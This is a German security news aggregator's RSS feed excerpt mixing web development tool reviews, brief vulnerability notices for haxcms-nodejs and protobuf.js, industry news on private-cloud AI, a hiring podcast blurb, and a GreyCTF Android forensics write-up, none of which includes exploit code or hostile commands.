<p>Normalerweise erstellen Entwickler Architekturen, die eine komplexe Middleware erfordern. Diese fungiert als Vermittler zwischen einem reaktiven Client und dem Data Store. Die radikale Alternative mit PowerSync: Der Broker wird komplett umgangen, indem eine SQLite-Wasm-Datenbank direkt in den Browser integriert wird. Die Benutzeroberfläche arbeitet dabei synchron mit lokalen Daten unter Verwendung von <a href="https://www.computerwoche.de/article/2830650/9-gruende-gegen-sql.html" target="_blank">SQL</a>, die Latenzzeit beträgt null. Der gefürchtete Ladekreisel wird damit vollständig eliminiert. Im Hintergrund gleicht PowerSync den lokalen Speicher automatisch mit der zentralen Postgres-Datenbank ab. Das Tool händelt die komplexen Synchronisierungs-Algorithmen und Netzwerkschwankungen und macht Ihre Anwendung damit effektiv „offline-first“ – per Default.</p>



<p>Der Haken ist dabei, dass ein „Local-First“-Entwicklungsansatz eine massive Umstellung erfordert: Sie müssen Data Slices (ähnlich einer View) definieren, die jeder Client-User vorhält. Die PowerSync-Engine übernimmt zwar auch hierbei den Großteil der Arbeit, aber Dinge wie Schemamigrationen und Konfliktlösungen (wenn zwei Benutzer denselben Datensatz offline bearbeiten) erfordern ein deutlich aufwendigeres Setup als eine Standard-REST-API.</p>



<p><strong>Auch interessant:</strong> <a href="https://rxdb.info/" target="_blank" rel="noreferrer noopener">RxDB</a>. Dieses Tool ist eine etwas andere Variante eines „Local-First“-Datenspeichers. Während PowerSync stark auf Postgres, SQLite und Hintergrund-Daemons setzt, bietet RxDB eine NoSQL-, „Offline-First“- und reaktive Datenbank. Diese behandelt Queries als „observable“ Streams und führt UI-Aktualisierungen genau in der Millisekunde durch, in der sich die lokalen Daten ändern.</p>



<h2 class="wp-block-heading">6. <a href="https://github.com/RooCodeInc/Roo-Code" target="_blank" rel="noreferrer noopener">RooCode</a></h2>



<p>Der wesentliche Vorteil von RooCode ist, dass es sämtliche Ihrer KI-Anbieter koordinieren kann – und zwar kostenlos. Bei dem Tool handelt es sich um eine Erweiterung für <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a>, die einen „AI Manager Layer“ bereitstellt. Dieser schlägt eine Brücke zwischen den allgemeinen Fähigkeiten des LLM und den Code-spezifischen Strukturen auf Projektebene.</p>



<p>Dabei erreicht RooCode zwar nicht die Performanz von Tools wie Cursor oder <a href="https://www.computerwoche.de/article/4107872/google-antigravity-ide-angetestet.html" target="_blank">Antigravity</a> – ist aber durchaus in der Lage, die meisten kleinen bis mittelgroßen Requests zu bewältigen. Und das mit einem Minimum an unnötigem Overhead: RooCode hält Sie fern von proprietären Ökosystemen und ermöglicht auch, eigene API-Keys einzubinden – von Anthropic, OpenAI oder auch lokalen Modellen, die auf der eigenen Hardware laufen.</p>



<p>Die versteckten Kosten bestehen – wie bei jedem KI-Coding-Assistenten – darin, dass das Tool die Rolle des Entwicklers vom Code-Autor zum -Redakteur verschiebt.</p>



<p><strong>Auch interessant:</strong> <a href="https://antigravity.google/" target="_blank" rel="noreferrer noopener">Antigravity</a>. RooCode ist eine leichtgewichtige Erweiterung, die Ihre bestehende Umgebung aufwertet. Googles Antigravity ist hingegen ein maßgeschneiderter Editor, der von Grund auf mit Fokus auf KI entwickelt wurde und deshalb auch für Agentic-AI-Workflows konzipiert ist.</p>



<h2 class="wp-block-heading">7. <a href="https://tanstack.com/query/latest" target="_blank" rel="noreferrer noopener">TanStack Query</a></h2>



<p>Selbst wenn Client-seitiges State Management kein Problem mehr darstellt (siehe nächstes Tool), bleibt eine große Lücke bestehen: die Synchronisierung über die Servergrenze hinweg. An diesem Punkt kommt TanStack Query ins Spiel. Distributed Computing ist ein notorisch heikles Problem. Standardmäßige reaktive Modelle speichern den State sowohl auf dem Client als auch auf dem Server. Diese inhärente architektonische Reibung versucht TanStack Query abzumildern, indem es als intelligente asynchrone Schicht fungiert.</p>



<p>Anstatt eine Vielzahl manueller Fetches zu verwenden, die an <code>useState</code>-Aktualisierungen geknüpft sind (zusammen mit anfälligen <code>isLoading</code>-Flags und komplexer Logik zur State-Synchronisation), abstrahiert TanStack Query die aufwendige Arbeit, die mit API-Antworten, Hintergrundaktualisierungen und der Duplikatsbereinigung von Anfragen verbunden ist. Übrig bleiben einige wenige, elegante Hooks. Diese teilen TanStack Query mit, woher die Daten bezogen werden sollen. Dabei nutzt das Tool ein Muster namens „stale-while-revalidate“. Soll heißen: Daten werden im Frontend zwischengespeichert, wiederverwendet (wodurch Reload-Wartezeiten entfallen) und im Hintergrund mit dem aktuellen State synchronisiert.</p>



<p>Der Haken daran ist allerdings, dass TanStack Query Sie dazu zwingt, sich einem der hartnäckigsten Informatik-Probleme direkt zu stellen: der <a href="https://medium.com/on-building-software/why-cache-invalidation-is-actually-hard-e8b5e9a83e45" target="_blank" rel="noreferrer noopener">Cache-Invalidierung</a>. Sie werden also Zeit damit verbringen, über „Query Keys“ zu sinnieren und damit, zu entscheiden, wann ein Datenelement als „veraltet“ gelten soll.</p>



<p><strong>Auch interessant:</strong> <a href="https://swr.vercel.app/" target="_blank" rel="noreferrer noopener">SWR</a>. Während TanStack Query ein absolutes Kraftpaket für komplexe Datenmanipulation ist, bleibt SWR ein Vorreiter des API-Minimalismus. Es tut genau das, was sein Name andeutet (stale-while-revalidate) – und das fast ohne lästige Konfiguration.</p>



<h2 class="wp-block-heading">8. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a></h2>



<p>Falls Sie noch nicht mit dem Albtraum des großangelegten State Managements in einer reaktiven App konfrontiert wurden, ein kleiner Spoiler: Das kann ziemlich unangenehm werden. Oder Sie nutzen <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a> und verzichten einfach auf den zeremoniellen Boilerplate-Code aus Reducern, Providern und unhandlichen Context-Wrappern. Ersetzt wird das durch einen winzigen, brutal simplen, globalen Speicher.</p>



<p>Anstatt Ihren gesamten Anwendungsbaum in einen massiven React-Context-Provider zu zwängen (was manchmal zu einer Kaskade überflüssiger Neu-Renderings im gesamten DOM führt), nutzt Zustand benutzerdefinierte Hooks, um den State direkt an die spezifischen Komponenten zu binden, die ihn benötigen. Dabei strebt das Tool danach, die Spezifität im reaktiven VDOM-Modell zu erreichen (anstatt sie à la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html" target="_blank">Signals</a> vollständig zu eliminieren). Sie definieren einen Store, rufen ihn auf – und die Reaktivität funktioniert einfach. Der Preis für diese Befreiung ist die Last der Disziplin: Zustand hindert Sie nicht daran, Ihren globalen Speicher in eine überfüllte Deponie zu verwandeln. Entwickler müssen Ihre eigenen Konventionen und Guardrails einziehen, um großangelegte Projekte überschaubar zu halten.</p>



<p><strong>Auch interessant:</strong> <a href="https://jotai.org/" target="_blank" rel="noreferrer noopener">Jotai</a>. Wenn Zustand der schlank gehaltene globale Store ist, dann ist Jotai der schlank gehaltene, atomare Ansatz. Dieses Tool verwaltet den State „von unten nach oben“ und berechnet Änderungen mit chirurgischer Präzision – ohne dabei massive Neu-Renderings im gesamten Application Tree auszulösen. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4181872/8-cutting-edge-web-development-tools-you-dont-want-to-miss.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-46396 | haxtheweb haxcms-nodejs/video-player/iframe-loader up to 25.x src cross site scripting (GHSA-jh3h-rpxg-fr36)]]></title>
<description><![CDATA[A vulnerability was found in haxtheweb haxcms-nodejs, video-player and iframe-loader up to 25.x. It has been rated as problematic. Affected is an unknown function. The manipulation of the argument src leads to cross site scripting.

This vulnerability is referenced as CVE-2026-46396. Remote explo...]]></description>
<link>https://tsecurity.de/de/3593502/sicherheitsluecken/cve-2026-46396-haxtheweb-haxcms-nodejsvideo-playeriframe-loader-up-to-25x-src-cross-site-scripting-ghsa-jh3h-rpxg-fr36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593502/sicherheitsluecken/cve-2026-46396-haxtheweb-haxcms-nodejsvideo-playeriframe-loader-up-to-25x-src-cross-site-scripting-ghsa-jh3h-rpxg-fr36/</guid>
<pubDate>Fri, 12 Jun 2026 14:47:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/haxtheweb:haxcms-nodejs">haxtheweb haxcms-nodejs, video-player and iframe-loader up to 25.x</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function. The manipulation of the argument <em>src</em> leads to cross site scripting.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-46396">CVE-2026-46396</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Sechs Schwachstellen in protobuf.js mit dem Codenamen Proto6 öffnen speziell in Node.js-Setups die Tür für Remote Code Execution (RCE) und Denial-of-Service (DoS). Besonders kritisch ist ein Szenario, in dem Angreifer über Prototype Pollution die Typauflösung manipulieren u...]]></description>
<link>https://tsecurity.de/de/3589387/it-security-nachrichten/proto6-sechs-protobufjs-schwachstellen-ermoeglichen-rce-und-dos-in-nodejs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589387/it-security-nachrichten/proto6-sechs-protobufjs-schwachstellen-ermoeglichen-rce-und-dos-in-nodejs/</guid>
<pubDate>Thu, 11 Jun 2026 04:35:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Sechs Schwachstellen in protobuf.js mit dem Codenamen Proto6 öffnen speziell in Node.js-Setups die Tür für Remote Code Execution (RCE) und Denial-of-Service (DoS). Besonders kritisch ist ein Szenario, in dem Angreifer über Prototype Pollution die Typauflösung manipulieren und so eine von protobuf.js erzeugte Encoder- oder Decoder-Logik aushebeln. Laut den Forschern reicht dafür […]</p>
<div><a href="https://www.it-boltwise.de/proto6-sechs-protobuf-js-schwachstellen-ermoeglichen-rce-und-dos-in-node-js.html">... den vollständigen Artikel <strong>»Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/proto6-sechs-protobuf-js-schwachstellen-ermoeglichen-rce-und-dos-in-node-js.html">Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hiring Hot Takes from a Three-Time Exit CMO, Mary Yang]]></title>
<description><![CDATA[Mary Yang has been a CMO in cybersecurity for 6 years, helped 3 companies exit, and now works on a fractional basis with founders and teams she wants to work with. On this CyberCMO Confidential episode, the three of them get into a discussion on hiring.

Mary skips the job description entirely. S...]]></description>
<link>https://tsecurity.de/de/3586495/it-security-nachrichten/hiring-hot-takes-from-a-three-time-exit-cmo-mary-yang/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3586495/it-security-nachrichten/hiring-hot-takes-from-a-three-time-exit-cmo-mary-yang/</guid>
<pubDate>Wed, 10 Jun 2026 07:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mary Yang has been a CMO in cybersecurity for 6 years, helped 3 companies exit, and now works on a fractional basis with founders and teams she wants to work with. On this CyberCMO Confidential episode, the three of them get into a discussion on hiring.

Mary skips the job description entirely. She puts out feelers, has a dozen conversations, and figures out who she wants before she ever writes the role. What she is really screening for is curiosity and drive, the stuff that is hard to fake and harder to teach. 

She also tells the story of the one time she ignored her gut and what it cost her.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI inference moving to private clouds, Broadcom says]]></title>
<description><![CDATA[The majority of enterprises now either run or plan to run AI workloads in private clouds, according to a survey of 1,800 senior IT decision makers conducted by Radius Tech on behalf of Broadcom. Only 41% of enterprises are now using public clouds for inference workloads, down from 56% last year. ...]]></description>
<link>https://tsecurity.de/de/3584820/it-security-nachrichten/ai-inference-moving-to-private-clouds-broadcom-says/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3584820/it-security-nachrichten/ai-inference-moving-to-private-clouds-broadcom-says/</guid>
<pubDate>Tue, 09 Jun 2026 16:37:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The majority of enterprises now either run or plan to run AI workloads in private clouds, <a href="https://url.usb.m.mimecastprotect.com/s/-HiQC4Wr9rhLzljAtOfjc4S-Yv?domain=vmware.com">according to a survey</a> of 1,800 senior IT decision makers conducted by Radius Tech on behalf of Broadcom. Only 41% of enterprises are now using public clouds for inference workloads, down from 56% last year. Meanwhile, the use of private clouds for AI inference has risen slightly, from 55% to 56%.</p>



<p>“The key takeaway this year is that we’ve seen an AI tipping point, driving towards private cloud as the preferred platform for running these workloads,” says <a href="https://www.linkedin.com/in/prashanthshenoy/">Prashanth Shenoy</a>, CMO and vice president of marketing for VMware Cloud Foundation division at Broadcom.</p>



<p>Overall, 72% of enterprises intend to increase their private cloud spending over the next three years, up from just 51% in 2025’s survey. In addition, 50% of enterprises have already repatriated some workloads, up from 35% in 2025, and another 33% are considering doing so. Public clouds are also growing, the report shows, but at half the rate of private cloud investment.</p>



<p>The increase in interest in private clouds is driven by a number of factors, including security and compliance, followed by cost predictability and performance. </p>



<p>Agentic AI, in particular, can quickly cause cost overruns as the use of agents can increase large language model use exponentially. According to today’s survey, 62% of IT leaders are either “very” or “extremely” concerned about gen AI and agentic AI infrastructure costs.</p>



<p>Enterprises are also concerned about data protection and privacy, followed closely by security and control, both of which are strengths of the private cloud deployment model.</p>



<p>Last year, Shenoy says, there was huge growth in public cloud usage for AI pilots and for training. “Now that the majority of large-scale enterprise customers are done doing that, they want the models to be closer to where the data is and where the data is generated,” he says. “And that is in their own on-premise private cloud environment.”</p>



<p>Public cloud is still the right answer for many workloads, says <a href="https://www.linkedin.com/in/mssanche/">Mauricio Sanchez</a>, analyst at Dell’Oro Group. “But the old assumption that every workload eventually moves to public cloud has broken down.”</p>



<p>And it’s not just about AI.</p>



<p>According to the survey, 97% of respondents say that some of their public cloud spending is wasted — and 52% say that the amount of waste is more than 25%.</p>



<p>However, while costs are a concern, they’re not necessarily the biggest factor that determines where enterprises run their workloads. Security and compliance took the lead, with 32% selecting it as the most critical factor, followed by data sovereignty and control at 15%, performance and latency at 14%, and integration with existing systems also at 14%. Cost is tied with speed of deployment and scalability at 12%.</p>



<p>Sanchez agrees that enterprises are concerned about data exposure, regulations, performance, and cost.</p>



<p>“AI sharpens that trade-off,” he adds. “If a workload is highly variable or needs access to specialized cloud services, public cloud can be attractive. But if a company is running steady AI inference against sensitive data, wants more control over where data and models live, or needs predictable economics, a private cloud can look much better than it did a few years ago.”</p>



<p>The difference between AI workloads and other types of applications is that AI pulls in large data sets and requires expensive accelerators. It also needs networking, security controls, and has unique governance requirements.</p>



<p>For enterprises located outside the US, there are also sovereignty issues, adds <a href="https://www.linkedin.com/in/michelamenting/">Michela Menting</a>, an analyst at ABI Research. “With the largest public cloud providers being US-based, there is concern in the rest of the world for data protection that meets local regulations,” she says.</p>



<p>AI systems might use data, or process data, in a way that’s not compliant with regulations, she says. “Private cloud seems to offer more safeguards,” she says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[GreyCTF 2026  —  Crimewatch Forensics Challenge Writeup]]></title>
<description><![CDATA[GreyCTF 2026 — Crimewatch Forensics Challenge WriteupHi, I’m glad to share with you my writeup for solving a Forensics Challenge called “Crimewatch” in GreyCTF 2026You can read this writeup on my GitBook: LinkWe are provided with 2 weird files named "a" and "b", and a python file as shown:the bel...]]></description>
<link>https://tsecurity.de/de/3583945/hacking/greyctf-2026-crimewatch-forensics-challenge-writeup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583945/hacking/greyctf-2026-crimewatch-forensics-challenge-writeup/</guid>
<pubDate>Tue, 09 Jun 2026 11:09:03 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>GreyCTF 2026 — Crimewatch Forensics Challenge Writeup</h3><h4>Hi, I’m glad to share with you my writeup for solving a Forensics Challenge called “<strong>Crimewatch</strong>” in GreyCTF 2026</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*HMDjKb_-kh8tWzwAoToVVw.png"></figure><blockquote>You can read this writeup on my GitBook: <a href="https://prankster.gitbook.io/prankster/ctf-writeups/greyctf-2026-crimewatch-forensics-challenge-writeup">Link</a></blockquote><p>We are provided with 2 weird files named <strong>"a"</strong> and <strong>"b"</strong>, and a python file as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*UI1zDr12q0AjS0ipDWPj2A.png"></figure><p>the below screen shows the conclusion for <strong>flag.py</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFRP-z_Pa5e4eUONSC11RA.png"></figure><p>so, we are provided with weird files, we need to determine what are these format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*SYQAd0jRU-jVP5aWTO0KQA.png"></figure><p>So with HxD and a little research, i could determine that this magic bytes are <a href="https://en.wikipedia.org/wiki/Qcow"><strong><em>qcow</em></strong></a><strong><em> </em></strong>file format, which stands for “QEMU <a href="https://en.wikipedia.org/wiki/Copy-on-write"><em>Copy On Write</em></a>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOr8cC0PdcZ44Ds16bos6Q.png"></figure><p>So it’s a qemu disk images, but both files are just unallocated space on FTK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*cjfg6QChM6-cz2IfqvRGUQ.png"></figure><p>So, we need to convert them to a readable disk images to open properly.<br>After a little research i found this tool: <a href="https://cloudbase.it/qemu-img-windows/"><strong><em>qemu-img</em></strong></a><strong><em> </em></strong><em>, so let’s try this tool</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*W8SNZA1AHwd0kE6Vt2OnDg.png"></figure><p>now we need to convert them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*x48aS9zjHkd7wzylBg7D5g.png"></figure><p>after conversion, we could open on FTK Imager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*fPnSI6yoEmDCsZVcjytkGg.png"></figure><p>only the b disk image opened properly. after a long research and a very long chats with different AI models :), i was able to cofirm that <strong>a </strong>is Android FBE-encrypted userdata and <strong>b </strong>is the metadata partition needed to decrypt <strong>a.<br></strong>finally i found an amazing tool: <a href="https://github.com/SlugFiller/fbe-decrypt"><strong><em>fbe-decrypt</em></strong></a><strong><em> </em></strong><em>, now let’s work to decrypt </em><strong>a</strong><em>.</em></p><p>We just need to rename the files with the intended names based n the script to could run perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Jl_Zrxii9qgxNHjIOsF1Jg.png"></figure><p>And now we can run and see the precious output here<br><strong><em>NOTE: First, you will need to install NodeJS</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*a7Zx-PvS804PDvE-7etJJQ.png"></figure><p>Now we can investigate the disk image properly on FTK with no issues</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*tLG2v4M8DgbB5JzoZw32aA.png"></figure><p>Now, Let’s head back to the python script and start real investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OW3vB8vGcreo2m3QoBKqrA.png"></figure><p>After walking around and deep searching, i found a very important note on the notifications file located in: <strong>/system_ce/0/notification_history/notification_history.xml</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyB09eevffvRTAWjKx_Uag.png"></figure><p>now i got 2 answers directly, and one glance for the third <br>first: telechat account is: <strong>@vanta_supply<br></strong>second glance: plate numbers maybe starts or ends or contains:<strong>..SG673..<br></strong>third: the buyer we suspect is: <strong>jiawei</strong></p><p>After a long digging also, found this amazing picture located in: <br><strong>/media/0/Pictures/TeleChat/IMG_20260514_164900.png</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1lqiUP6Mi9xKuQSweMltQ.png"></figure><p>Now we got the full car plate number: <strong>SG67301K <br></strong>Now for the tricky part, the last question needs the coordinates to identify the pickup point.</p><p>There’s another image in the directory called <strong>spot.jpg</strong>, i guess it’s a clue</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_8-dwqAYqcRs0mleikx6A.png"></figure><p>that’s a big clue and its called spot, so let’s get the exact coordinates.</p><p>wanna do a big shoutout to my friend <a href="https://medium.com/u/ac33a41637dc">7h3kn0w3r</a> for helping me get the exact coordinates</p><p>Found exactly the same view on different platforms such as: <a href="https://www.alamy.com/singapore-circa-2018-lilly-pads-in-a-pond-bathed-in-evening-light-and-ripples-in-the-famous-botanic-gardens-singapore-as-nature-background-with-sp-image364466725.html?imageid=20FB8FFE-CD80-4AE7-BD8D-CB76B424D378&amp;pn=1&amp;searchId=9dfd5025a12e0c6d90aafd31c6a327f2&amp;searchtype=9"><strong><em>alamy</em></strong></a><strong><em> </em></strong>and facebook post <a href="https://www.facebook.com/taste.travel.tell/posts/pfbid02Y19yKHTmRgV9RAp565uadeY9ao7Lvkv2FcG2ZKf1qw3TB9egGbRvzky7icKSnfSul?rdid=EqrEte4tCNofUbYD#"><strong><em>here</em></strong></a><strong><em> </em></strong>, and finally found a good person on <a href="https://www.flickr.com/photos/dannyfoster/9511153795"><strong><em>flickr</em></strong></a><strong><em> </em></strong>posted the exact image with the exact location here: <a href="https://www.flickr.com/map/?fLat=1.401333&amp;fLon=103.794833&amp;zl=13&amp;everyone_nearby=1&amp;photo=9511153795"><em>https://www.flickr.com/map/?fLat=1.401333&amp;fLon=103.794833&amp;zl=13&amp;everyone_nearby=1&amp;photo=9511153795</em></a><strong><em> </em></strong>, so i got it from the url itself. <br>getting the exact coordinates on google maps <a href="https://www.google.com/maps/place/1%C2%B024'04.8%22N+103%C2%B047'41.4%22E/@1.4013335,103.794792,3a,49.3y,143.02h,78.5t/data=!3m7!1e1!3m5!1s0_5Ju7VRToOB7wcSw5aNiA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D11.502224645524834%26panoid%3D0_5Ju7VRToOB7wcSw5aNiA%26yaw%3D143.01629719088223!7i13312!8i6656!4m4!3m3!8m2!3d1.401333!4d103.794833?entry=ttu&amp;g_ep=EgoyMDI2MDUyNy4wIKXMDSoASAFQAw%3D%3D"><strong><em>HERE</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsf-trmxBUGVNvrdjk7Usw.png"></figure><h4>So Let’s Get the FLAG</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tODJDLXuF0t-q0t0_KDfrQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*EBtcA-TB_PALp2QTS8PTjQ.png"></figure><h4>Thanks For Reading, Hope you enjoyed❤️</h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=287437ccb79f" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/greyctf-2026-crimewatch-forensics-challenge-writeup-287437ccb79f">GreyCTF 2026  —  Crimewatch Forensics Challenge Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 cutting-edge web development tools you don’t want to miss]]></title>
<description><![CDATA[There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of l...]]></description>
<link>https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</guid>
<pubDate>Tue, 09 Jun 2026 11:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?</p>



<p>Here are eight cutting-edge web development tools that point the way. </p>



<h2 class="wp-block-heading">Front-end maestro</h2>



<p>If you put a bunch of classical musicians in a room together with sheet music and let them run, you <em>might </em>get to a cohesive piece—but you <em>probably </em>want a conductor, a maestro who coordinates all of the parts. That is <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a> for your front-end frameworks.</p>



<p>Astro addresses the “<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">hydration</a>” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its <a href="https://docs.astro.build/en/concepts/islands/" data-type="link" data-id="https://docs.astro.build/en/concepts/islands/">islands architecture</a> to hydrate only the specific components that demand interactivity. </p>



<p>Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.</p>



<p>See also: <a href="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html" data-type="link" data-id="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html">Qwik</a>. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.</p>



<h2 class="wp-block-heading">Biome: Lint like it’s 2026</h2>



<p><a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives <a href="https://biomejs.dev/">Biome</a> its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.</p>



<p>The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.</p>



<p>Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.</p>



<p>See also: <a href="https://rspack.rs/">Rspack</a>. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.</p>



<h2 class="wp-block-heading">Bun: Fast and integrated back-end JavaScript</h2>



<p>Most cutting-edge JavaScript enthusiasts are already well-aware of <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.</p>



